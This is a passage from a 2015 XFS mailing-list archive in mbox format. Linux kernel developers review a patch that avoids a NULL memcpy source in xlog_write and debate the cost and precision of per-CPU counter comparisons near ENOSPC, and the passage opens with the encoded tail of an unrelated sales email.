dSBoYXZlIGRyYXdpbmcgd2l0aCBwcm9kdWN0cywgd2UgY2FuIGRvLjwvUD4NCjxQPldlIGFy ZSBhbHNvIHByb2R1Y2luZyB0aGVzZSBjb21wbGV0ZSBwcm9kdWN0cyBhY2NvcmRpbmcgdG8g YnV5ZXIncyBkcmF3aW5ncyBvciBzYW1wbGVzLjwvUD4NCjxQPlBsZWFzZSBkbyBub3QgaGVz aXRhdGUgdG8gc2VuZCB1cyB5b3VyIFJGUSB3aXRoIGRyYXdpbmdzIG9yIHNhbXBsZXMgYW5k IHRoZW4gd2Ugd2lsbCBkbyB0aGUgcmVzdCBmb3IgeW91LjwvUD4NCjxQPklmIHlvdSB3YW50 IHRvIGtub3cgbW9yZSBpbmZvcm1hdGlvbiBhYm91dCB1cywgeW91IGNhbiBlbWFpbCBtZSBh bmQgd2VsY29tZSB5b3UgdG8gQ2hpbmEgdG8gdmlzaXQgb3VyIGNvbXBhbnkuPEJSPiZuYnNw OzxCUj5UaGFua3MgYW5kIEJlc3QgUmVnYXJkcyw8L1A+DQo8UD5CZXN0IFJlZ2FyZHMsPC9Q Pg0KPFA+WGluZGEgSGFyZHdhcmUgTWFudWZhY3R1cmUgQ28uLCBMaW1pdGVkPEJSPkNFTzog QW1vczwvUD48L2JvZHk+PC9odG1sPg== From david@fromorbit.com Wed Oct 7 16:24:28 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2E31B7F37 for ; Wed, 7 Oct 2015 16:24:28 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 111268F8033 for ; Wed, 7 Oct 2015 14:24:27 -0700 (PDT) X-ASG-Debug-ID: 1444253064-04cbb03f1423880001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id fkI60EtQMwrE3tbl for ; Wed, 07 Oct 2015 14:24:25 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2DhDQCUjBVWPI9ELHlegyeBQoJdg36iEQaLGIUahgqDE4IKZhMCAgEBAoFFTQEBAQEBAQcBAQEBQT+EJwEBBCcTHCMQCAMYCSUPBSUDBxoTiC3CXQEBAQcCAR8ZhhOFRYUNB4QuBZYFjQ+PIIxfhHkqM4dsAQEB Received: from ppp121-44-68-143.lns20.syd4.internode.on.net (HELO dastard) ([121.44.68.143]) by ipmail06.adl6.internode.on.net with ESMTP; 08 Oct 2015 07:54:23 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZjwCE-00056n-Qx; Thu, 08 Oct 2015 08:24:22 +1100 Date: Thu, 8 Oct 2015 08:24:22 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: avoid null *src in memcpy call in xlog_write Message-ID: <20151007212422.GS27164@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: avoid null *src in memcpy call in xlog_write References: <56154967.70100@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <56154967.70100@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1444253064 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23287 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Oct 07, 2015 at 11:33:43AM -0500, Eric Sandeen wrote: > The gcc undefined behavior sanitizer caught this; surely > any sane memcpy implementation will no-op if size == 0, > but behavior with a *src of NULL is technically undefined > (declared nonnull), so avoid it here. > > We are actually in this situation frequently via > xlog_commit_record(), because: > > struct xfs_log_iovec reg = { > .i_addr = NULL, > .i_len = 0, > .i_type = XLOG_REG_TYPE_COMMIT, > }; > > Signed-off-by: Eric Sandeen > --- > > diff --git a/fs/xfs/xfs_log.c b/fs/xfs/xfs_log.c > index 4012523..8897fd1 100644 > --- a/fs/xfs/xfs_log.c > +++ b/fs/xfs/xfs_log.c > @@ -2424,7 +2424,10 @@ xlog_write( > > /* copy region */ > ASSERT(copy_len >= 0); > - memcpy(ptr, reg->i_addr + copy_off, copy_len); > + ASSERT(reg->i_addr + copy_off > 0 || copy_len == 0); > + /* size == 0 is ok, but *src == NULL is undefined */ > + if (reg->i_addr + copy_off) > + memcpy(ptr, reg->i_addr + copy_off, copy_len); > xlog_write_adv_cnt(&ptr, &len, &log_offset, copy_len); The comment doesn't explain anything about why copylen might be zero or reg->i_addr might be null. If copylen is zero, we should really skip the copy, not rely on some magic pointer arithmetic to tell us it's ok to copy... /* * Copy region. * * Unmount records just log an opheader, so can have * empty payloads with no data region to copy. Hence we only * copy the payload if the vector says it has data to copy. */ ASSERT(copy_len >= 0); if (copy_len > 0) { memcpy(ptr, reg->i_addr + copy_off, copy_len); xlog_write_adv_cnt(&ptr, &len, &log_offset, copy_len); } Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@redhat.com Wed Oct 7 16:31:38 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B5AFD7F37 for ; Wed, 7 Oct 2015 16:31:38 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id A68228F8049 for ; Wed, 7 Oct 2015 14:31:38 -0700 (PDT) X-ASG-Debug-ID: 1444253496-04cb6c578a239a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id UrkWeyfeSDL0rEkQ (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 07 Oct 2015 14:31:37 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (Postfix) with ESMTPS id B8C7FC0BD8A4; Wed, 7 Oct 2015 21:31:36 +0000 (UTC) Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t97LVZOY024671 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 7 Oct 2015 17:31:36 -0400 Subject: Re: [PATCH] xfs: avoid null *src in memcpy call in xlog_write To: Dave Chinner X-ASG-Orig-Subj: Re: [PATCH] xfs: avoid null *src in memcpy call in xlog_write References: <56154967.70100@redhat.com> <20151007212422.GS27164@dastard> Cc: xfs@oss.sgi.com From: Eric Sandeen Message-ID: <56158F37.9030108@redhat.com> Date: Wed, 7 Oct 2015 16:31:35 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <20151007212422.GS27164@dastard> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444253497 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 10/7/15 4:24 PM, Dave Chinner wrote: > On Wed, Oct 07, 2015 at 11:33:43AM -0500, Eric Sandeen wrote: >> The gcc undefined behavior sanitizer caught this; surely >> any sane memcpy implementation will no-op if size == 0, >> but behavior with a *src of NULL is technically undefined >> (declared nonnull), so avoid it here. >> >> We are actually in this situation frequently via >> xlog_commit_record(), because: >> >> struct xfs_log_iovec reg = { >> .i_addr = NULL, >> .i_len = 0, >> .i_type = XLOG_REG_TYPE_COMMIT, >> }; >> >> Signed-off-by: Eric Sandeen >> --- >> >> diff --git a/fs/xfs/xfs_log.c b/fs/xfs/xfs_log.c >> index 4012523..8897fd1 100644 >> --- a/fs/xfs/xfs_log.c >> +++ b/fs/xfs/xfs_log.c >> @@ -2424,7 +2424,10 @@ xlog_write( >> >> /* copy region */ >> ASSERT(copy_len >= 0); >> - memcpy(ptr, reg->i_addr + copy_off, copy_len); >> + ASSERT(reg->i_addr + copy_off > 0 || copy_len == 0); >> + /* size == 0 is ok, but *src == NULL is undefined */ >> + if (reg->i_addr + copy_off) >> + memcpy(ptr, reg->i_addr + copy_off, copy_len); >> xlog_write_adv_cnt(&ptr, &len, &log_offset, copy_len); > > The comment doesn't explain anything about why copylen might be zero > or reg->i_addr might be null. If copylen is zero, we should really > skip the copy, not rely on some magic pointer arithmetic to tell us > it's ok to copy... > > /* > * Copy region. > * > * Unmount records just log an opheader, so can have > * empty payloads with no data region to copy. Hence we only > * copy the payload if the vector says it has data to copy. > */ > ASSERT(copy_len >= 0); > if (copy_len > 0) { > memcpy(ptr, reg->i_addr + copy_off, copy_len); > xlog_write_adv_cnt(&ptr, &len, &log_offset, copy_len); > } Yeah, I thought about that, why didn't I do it that way? Maybe I was thinking about *src still being NULL, but I guess in that case we'd find out that there's a problem very quickly. You may as well just commit that version w/ your S-O-B and my Reported-by. -Eric > Cheers, > > Dave. > From david@fromorbit.com Wed Oct 7 18:05:40 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3CBD97F37 for ; Wed, 7 Oct 2015 18:05:40 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9CCE5AC008 for ; Wed, 7 Oct 2015 16:05:39 -0700 (PDT) X-ASG-Debug-ID: 1444259132-04cbb03f1226940001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id wL6scdMO777xdZBH for ; Wed, 07 Oct 2015 16:05:33 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2AgbAAmpBVWPI9ELHlegyeBQoZbog0EBosYhRqGCoMTggpmEwICAQECgTlNAQEBAQEBBwEBAQFBP0EBAQIBAoNeAQEBAwEnExwXDAULCAMUBAklDwUlAwcaE4gmB8JPAQEBBwIBHxmGE4VFhDVYB4QuBZJNgziND4FfhDmJCIQWiEmDJ4FSKjOBW4FYSoIngUgBAQE Received: from ppp121-44-68-143.lns20.syd4.internode.on.net (HELO dastard) ([121.44.68.143]) by ipmail06.adl6.internode.on.net with ESMTP; 08 Oct 2015 09:34:43 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZjxlK-0005GR-14; Thu, 08 Oct 2015 10:04:42 +1100 Date: Thu, 8 Oct 2015 10:04:42 +1100 From: Dave Chinner To: Waiman Long Cc: Tejun Heo , Christoph Lameter , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, Scott J Norton , Douglas Hatch Subject: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() Message-ID: <20151007230441.GG32150@dastard> X-ASG-Orig-Subj: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() References: <1443806997-30792-1-git-send-email-Waiman.Long@hpe.com> <20151002221649.GL27164@dastard> <5613017D.7080909@hpe.com> <20151006002538.GO27164@dastard> <561405E1.8020008@hpe.com> <20151006213023.GP27164@dastard> <561579EA.60507@hpe.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <561579EA.60507@hpe.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1444259132 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23289 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Oct 07, 2015 at 04:00:42PM -0400, Waiman Long wrote: > On 10/06/2015 05:30 PM, Dave Chinner wrote: > >>>/* > >>> * Aggregate the per-cpu counter magazines back into the global > >>> * counter. This avoids the need for repeated compare operations to > >>> * run the slow path when the majority of the counter value is held > >>> * in the per-cpu magazines. Folding them back into the global > >>> * counter means we will continue to hit the fast > >>> * percpu_counter_read() path until the counter value falls > >>> * completely within the comparison limit passed to > >>> * __percpu_counter_compare(). > >>> */ > >>>static s64 percpu_counter_aggregate(struct percpu_counter *fbc) > >>>{ > >>> s64 ret; > >>> int cpu; > >>> unsigned long flags; > >>> > >>> raw_spin_lock_irqsave(&fbc->lock, flags); > >>> ret = fbc->count; > >>> for_each_online_cpu(cpu) { > >>> s32 count = __this_cpu_read(*fbc->counters); > >>> ret += count; > >>> __this_cpu_sub(*fbc->counters, count) > >>> } > >>> fbc->count = ret; > >>> raw_spin_unlock_irqrestore(&fbc->lock, flags); > >>> return ret; > >>>} > >>I don't think that will work as some other CPUs may change the > >>percpu counters values between percpu_counter_aggregate() and > >>__percpu_counter_compare(). To be safe, the precise counter has to > >>be compted whenever the comparison value difference is less than > >>nr_cpus * batch size. > >Well, yes. Why do you think the above function does the same > >function as percpu_counter_sum()? So that the percpu_counter_sum() > >call *inside* __percpu_counter_compare() can be replaced by this > >call. i.e. > > > > return -1; > > } > > /* Need to use precise count */ > >- count = percpu_counter_sum(fbc); > >+ count = percpu_counter_aggregate(fbc); > > if (count> rhs) > > return 1; > > else if (count< rhs) > > > >Please think about what I'm saying rather than dismissing it without > >first understanding my suggestions. > > I understood what you were saying. However, the per-cpu counter > isn't protected by the spinlock. Reading it is OK, but writing may > cause race if that counter is modified by a CPU other than its > owning CPU. You're still trying to pick apart the code without considering what we need to acheive. We don't need to the code to be bullet proof to test whether this hypothesis is correct or not - we just need something that is "near-enough" to give us the data point to tell us where we should focus our efforts. If optimising the counter like above does not reduce the overhead, then we may have to change XFS. If it does reduce the overhead, then the XFS code remains unchanged and we focus on optimising the counter code. But we *need to test the hypothesis first*. As it is, the update race you pointed out is easy to solve with __this_cpu_cmpxchg rather than _this_cpu_sub (similar to mod_state() in the MM percpu counter stats code, perhaps). So please test the above change and stop quibbling over details that just don't matter until we know which way we need to go. > The slow performance of percpu_counter_sum() is due to its need to > access n different (likely cold) cachelines where n is the number of > CPUs in the system. So the larger the system, the more problematic > it will be. Welcome to today's lecture titled "Per-cpu Counters 101". :/ Have a think about who you are lecturing(*). Please don't treat me as you would university intern who's just learning about multithreaded programming, because a) it's disrepectful, and b) you'll jump to the wrong conclusions because you may not immediately understand what I'm saying or why I'm asking you to do something. I always start by assuming participants understand the topic being discussed. I can quickly tell if a person has deep knowledge of the topic from their responses and the above "explain the basics" response is a key indicator. If you assume that the other person understands the topic as well or better than you do then you won't make this mistake and, better yet, we might all learn something in the ensuing discussion. Cheers, Dave. (*) XFS had custom per-cpu counters because there was no generic infrastructure in linux for this ten years ago: commit 8d280b98cfe3c0b69c37d355218975c1c0279bb0 Author: David Chinner Date: Tue Mar 14 13:13:09 2006 +1100 [XFS] On machines with more than 8 cpus, when running parallel I/O threads, the incore superblock lock becomes the limiting factor for buffered write throughput. Make the contended fields in the incore superblock use per-cpu counters so that there is no global lock to limit scalability. SGI-PV: 946630 SGI-Modid: xfs-linux-melb:xfs-kern:25106a Signed-off-by: David Chinner Signed-off-by: Nathan Scott -- Dave Chinner david@fromorbit.com From htejun@gmail.com Wed Oct 7 18:20:16 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AA1267F37 for ; Wed, 7 Oct 2015 18:20:16 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2CF41AC00A for ; Wed, 7 Oct 2015 16:20:16 -0700 (PDT) X-ASG-Debug-ID: 1444260014-04bdf020da28e50001-NocioJ Received: from mail-yk0-f178.google.com (mail-yk0-f178.google.com [209.85.160.178]) by cuda.sgi.com with ESMTP id yBsGuoH14q3mDCpj (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Wed, 07 Oct 2015 16:20:14 -0700 (PDT) X-Barracuda-Envelope-From: htejun@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.160.178 Received: by ykba192 with SMTP id a192so29638103ykb.3 for ; Wed, 07 Oct 2015 16:20:14 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=C3KMflGGreRD0nqMGPHy3RJKw/skYWhm93MZ0/yZPgw=; b=yFSlRJEDvlSTOerVkGkStxQI+qVuBDuQgz6PSHHqbZ55klwe22p4ftZATTu+LaI7V3 f79bmUjrf/1lLZOI3cmibk859o+x/eisGSj1kDPK7zeTHqHxjTj4cl+8kREKz2HqRjfL xwFssUPcH7N6YCkrWtE0vobn4a/rykux4TEmR1ZOrbM0z7Baw9Hw4bmFQ8u5yBcw6Ak4 Ji8y/yzIfVprVRhri6/Lu0J+HqByHExFViWQs40Ore33LVTCbNJG8KN/UZb0iBQMihL0 i4aCDSooGufIOCaAnVDF0rV9xnNUHP7WfFNwmy/MVli4W81xqPzIDa7ppI4ehkA7n0SX 6iQA== X-Received: by 10.13.216.65 with SMTP id a62mr3076148ywe.109.1444260013900; Wed, 07 Oct 2015 16:20:13 -0700 (PDT) Received: from mtj.duckdns.org ([2620:10d:c090:200::9:1cd9]) by smtp.gmail.com with ESMTPSA id y131sm28411172ywc.54.2015.10.07.16.20.12 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Wed, 07 Oct 2015 16:20:13 -0700 (PDT) Sender: Tejun Heo Date: Wed, 7 Oct 2015 16:20:10 -0700 From: Tejun Heo To: Dave Chinner Cc: Waiman Long , Christoph Lameter , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, Scott J Norton , Douglas Hatch Subject: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() Message-ID: <20151007232010.GA21142@mtj.duckdns.org> X-ASG-Orig-Subj: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() References: <1443806997-30792-1-git-send-email-Waiman.Long@hpe.com> <20151002221649.GL27164@dastard> <5613017D.7080909@hpe.com> <20151006002538.GO27164@dastard> <561405E1.8020008@hpe.com> <20151006213023.GP27164@dastard> <561579EA.60507@hpe.com> <20151007230441.GG32150@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151007230441.GG32150@dastard> User-Agent: Mutt/1.5.23 (2014-03-12) X-Barracuda-Connect: mail-yk0-f178.google.com[209.85.160.178] X-Barracuda-Start-Time: 1444260014 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23290 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hello, Dave. On Thu, Oct 08, 2015 at 10:04:42AM +1100, Dave Chinner wrote: ... > As it is, the update race you pointed out is easy to solve with > __this_cpu_cmpxchg rather than _this_cpu_sub (similar to mod_state() > in the MM percpu counter stats code, perhaps). percpu cmpxchg is no different from sub or any other operations regarding cross-CPU synchronization. They're safe iff the operations are on the local CPU. They have to be made atomics if they need to be manipulated from remote CPUs. That said, while we can't manipulate the percpu counters directly, we can add a separate global counter to cache sum result from the previous run which gets automatically invalidated when any percpu counter overflows. That should give better and in case of back-to-back invocations pretty good precision compared to just returning the global overflow counter. Interface-wise, that'd be a lot easier to deal with although I have no idea whether it'd fit this particular use case or whether this use case even exists. Thanks. -- tejun From david@fromorbit.com Wed Oct 7 20:04:01 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A42207F37 for ; Wed, 7 Oct 2015 20:04:01 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 885C1304039 for ; Wed, 7 Oct 2015 18:03:58 -0700 (PDT) X-ASG-Debug-ID: 1444266234-04cb6c578b29560001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id FBThLelwBwkkKzyj for ; Wed, 07 Oct 2015 18:03:55 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2BPSQBXwBVWPI9ELHlegyeBQoZbohIEBosYhRqGCoMTggpmEwICAQECgUFNAQEBAQEBBwEBAQFBP0EBAwGDYAEBAQMBOhwPFAULCAMOBgQJJQ8FJQMHGhOIJgfCVAEBAQcCAR8ZhhOFRYUNB4QuBZYFjQ+BX41BhBaISYJ0HRaBUiozgVuBWIQ5AQEB Received: from ppp121-44-68-143.lns20.syd4.internode.on.net (HELO dastard) ([121.44.68.143]) by ipmail06.adl6.internode.on.net with ESMTP; 08 Oct 2015 11:32:19 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1Zjzb8-0005TY-C3; Thu, 08 Oct 2015 12:02:18 +1100 Date: Thu, 8 Oct 2015 12:02:18 +1100 From: Dave Chinner To: Tejun Heo Cc: Waiman Long , Christoph Lameter , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, Scott J Norton , Douglas Hatch Subject: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() Message-ID: <20151008010218.GT27164@dastard> X-ASG-Orig-Subj: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() References: <1443806997-30792-1-git-send-email-Waiman.Long@hpe.com> <20151002221649.GL27164@dastard> <5613017D.7080909@hpe.com> <20151006002538.GO27164@dastard> <561405E1.8020008@hpe.com> <20151006213023.GP27164@dastard> <561579EA.60507@hpe.com> <20151007230441.GG32150@dastard> <20151007232010.GA21142@mtj.duckdns.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151007232010.GA21142@mtj.duckdns.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1444266235 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23291 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Oct 07, 2015 at 04:20:10PM -0700, Tejun Heo wrote: > Hello, Dave. > > On Thu, Oct 08, 2015 at 10:04:42AM +1100, Dave Chinner wrote: > ... > > As it is, the update race you pointed out is easy to solve with > > __this_cpu_cmpxchg rather than _this_cpu_sub (similar to mod_state() > > in the MM percpu counter stats code, perhaps). > > percpu cmpxchg is no different from sub or any other operations > regarding cross-CPU synchronization. They're safe iff the operations > are on the local CPU. They have to be made atomics if they need to be > manipulated from remote CPUs. Again, another trivially solvable problem, but still irrelevant because we don't have the data that tells us whether changing the counter behaviour solves the problem.... > That said, while we can't manipulate the percpu counters directly, we > can add a separate global counter to cache sum result from the > previous run which gets automatically invalidated when any percpu > counter overflows. > > That should give better and in case of > back-to-back invocations pretty good precision compared to just > returning the global overflow counter. Interface-wise, that'd be a > lot easier to deal with although I have no idea whether it'd fit this > particular use case or whether this use case even exists. No, it doesn't help - it's effectively what Waiman's original patch did by returning the count from the initial comparison and using that for ENOSPC detection instead of doing a second comparison... FWIW, XFS has done an expensive per-cpu counter sum in this ENOSPC situation since 2006, but in 2007 ENOSPC was wrapped in a mutex to prevent spinlock contention on the aggregated global counter: commit 20b642858b6bb413976ff13ae6a35cc596967bab Author: David Chinner Date: Sat Feb 10 18:35:09 2007 +1100 [XFS] Reduction global superblock lock contention near ENOSPC. The existing per-cpu superblock counter code uses the global superblock spin lock when we approach ENOSPC for global synchronisation. On larger machines than this code was originally tested on this can still get catastrophic spinlock contention due increasing rebalance frequency near ENOSPC. By introducing a sleeping lock that is used to serialise balances and modifications near ENOSPC we prevent contention from needlessly from wasting the CPU time of potentially hundreds of CPUs. To reduce the number of balances occuring, we separate the need rebalance case from the slow allocate case. Now, a counter running dry will trigger a rebalance during which counters are disabled. Any thread that sees a disabled counter enters a different path where it waits on the new mutex. When it gets the new mutex, it checks if the counter is disabled. If the counter is disabled, then we _know_ that we have to use the global counter and lock and it is safe to do so immediately. Otherwise, we drop the mutex and go back to trying the per-cpu counters which we know were re-enabled. SGI-PV: 952227 SGI-Modid: xfs-linux-melb:xfs-kern:27612a Signed-off-by: David Chinner Signed-off-by: Lachlan McIlroy Signed-off-by: Tim Shimmin This is effectively the same symptoms that what we are seeing with the new "lockless" generic percpu counteri algorithm, which is why I'm trying to find out if it an issue with the counter implementation before I do anything else... FWIW, the first comparison doesn't need to be that precise as it just changes the batch passed to percpu_counter_add() to get the value folded back into the global counter immediately near ENOSPC. This is done so percpu_counter_read() becomes more accurate as ENOSPC is approached as that is used for monitoring and reporting (e.g. via vfsstat). If we want to avoid a counter sum, then this is the comparison we will need to modify in XFS. However, the second comparison needs to be precise as that's the one that does the ENOSPC detection. That sum needs to be done after the counter add that "uses" the space and so there is no avoiding having an expensive counter sum as we near ENOSPC.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From htejun@gmail.com Wed Oct 7 20:09:56 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C3DC97F37 for ; Wed, 7 Oct 2015 20:09:56 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2F107AC005 for ; Wed, 7 Oct 2015 18:09:53 -0700 (PDT) X-ASG-Debug-ID: 